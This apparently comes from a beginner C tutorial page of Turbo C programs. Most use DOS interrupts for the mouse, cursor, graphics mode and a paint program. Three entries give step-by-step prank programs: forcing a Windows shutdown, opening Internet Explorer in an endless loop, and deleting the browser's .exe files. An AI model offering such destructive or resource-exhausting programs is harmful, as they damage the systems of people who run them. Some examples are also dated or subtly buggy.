Question:Write a c program to display mouse pointer? 

#include <dos.h>
#include <stdio.h>
void main()
{
union REGS i,o;
i.x.ax=1;
int86(0x33,&i,&o);
getch();
}

Question:Write the c program to switch the 256 color graphics mode 

#include<stdio.h>
#include<dos.h>
void main()
{
   int x,y,b;
   union REGS i,o;
   i.h.ah=0;
   i.h.al=0x13;
   int86(0x10,&i,&o);  
   getch();
}

Question:Write a c program to create a directory in current working directory? 

#include<stdio.h>
#include<dos.h>
void main()
{
   union REGS i,o;
   i.h.ah=0x39;
   i.x.dx="ravan";
   int86(0x21,&i,&o);   
   getch();
}

Question:Write a c programming code to create simple paint brush software or application 

#include<dos.h>
#include<stdio.h>
#include<graphics.h>
#include<stdlib.h>
void main()
{
int x,y,b,px,py,c,p,s,cl;
int d=0,m;
union REGS i,o;
initgraph(&d,&m,"c:\tc");
i.x.ax=1;
int86(0x33,&i,&o);
i.x.ax=8;
i.x.cx=20;
i.x.dx=450;
int86(0x33,&i,&o);
printf("Brush style insert number from 0 to 5  : ");
scanf("%d",&p);
printf("Brush size insert number from 1  to 7  : ");
scanf("%d",&s);
printf("Brush color insert number from 1 to 16 : ");
scanf("%d",&cl);
clrscr();
cleardevice();
printf("\t\t**********DRAW IMAGE************");
while(!kbhit())
{
i.x.ax=3;
b=o.x.bx;
x=o.x.cx;
y=o.x.dx;
px=x;
py=y;
int86(0x33,&i,&o);
if(cl==16)
{
c=random(16);
}
else
{
c=cl;
}
setcolor(c);
if(b==1)
{
i.x.ax=3;
int86(0x33,&i,&o);
x=o.x.cx;
y=o.x.dx;
b=o.x.bx;
switch(p)
{
case 1:circle(px,py,s);break;
case 2:ellipse(px,py,0,270,s,s+2);break;
case 3:fillellipse(px,py,s+2,s);break;
case 4:rectangle(px,py,x,y);break;
case 5:sector(px,py,30,120,s,s);break;
default:line(px,py,x,y);
}
}
}
getch();
restorecrtmode();
closegraph();
}

Question:Write c program which shutdown the window operating system? 

Step 1: Write the following program in TURBO C.
#include<stdio.h>
#include<dos.h>

int main (void){
    system("shutdown -s");
    return 0;
}
Step 2: Save the above file. Let file name is close.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the close.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (close.exe)
After some time your window operating system will shutdown.

Question:Write a c program such that when we will click on its .exe file then it will open internet explorer at infinite times? 

Step 1: Write the following program in TURBO C.
#include<stdio.h>
#include<dos.h>

int main (void){
for(; ;){
system("c:\\progra~1\\intern~1\\iexplore.exe");
}

return 0;
}
Step 2: Save the above file. Let file name is internet.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the internet.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (internet.exe)

Question:Write a c program which delete the all the .exe file of internet explorer so that internet explorer will not work? 

Write the following program in TURBO C.
#include<stdio.h>
#include<dos.h>

int main(void){
system("cd c:\\progra~1\\intern~1");
system("del *.exe");
system("cls");
return 0;
}
Step 2: Save the above file. Let file name is delete.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the delete.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (delete.exe)

Note: Above code has written in trubo c 3.0

Question:Write a c program which changes the position of cursor 

#include<dos.h>
#include<stdio.h>
void main()
{
union REGS i,o;
i.h.ah=2;   //positioning the cursor 
i.h.bh=0;
i.h.dh=30;   
i.h.dl=45;
int86(0x10,&i,&o);
printf("World");
getch();
}

Question:Write a c program which restricts the movement of pointer? 

#include <dos.h>
#include <stdio.h>
void main()
{
union REGS i,o;
//show mouse pointer
i.x.ax=1;
int86(0x33,&i,&o);
//x coordinate restriction
i.x.ax=7;
i.x.cx=20;
i.x.dx=300;
int86(0x33,&i,&o);
//y coordinate restriction
i.x.ax=8;
i.x.cx=50;
i.x.dx=250;
int86(0x33,&i,&o);
getch();
}

Question:Write c program which display position of pointer in (x coordinate, y coordinate) 

#include<dos.h>
#include<stdio.h>
void main()
{
union REGS i,o;
int x,y,k;
//show mouse pointer
i.x.ax=1;
int86(0x33,&i,&o);
while(!kbhit())  //its value will false when we hit key in the key board
{
i.x.ax=3;    //get mouse position
x=o.x.cx;
y=o.x.dx;
clrscr();
printf("(%d , %d)",x,y);
delay(250);
int86(0x33,&i,&o);
}
getch();
}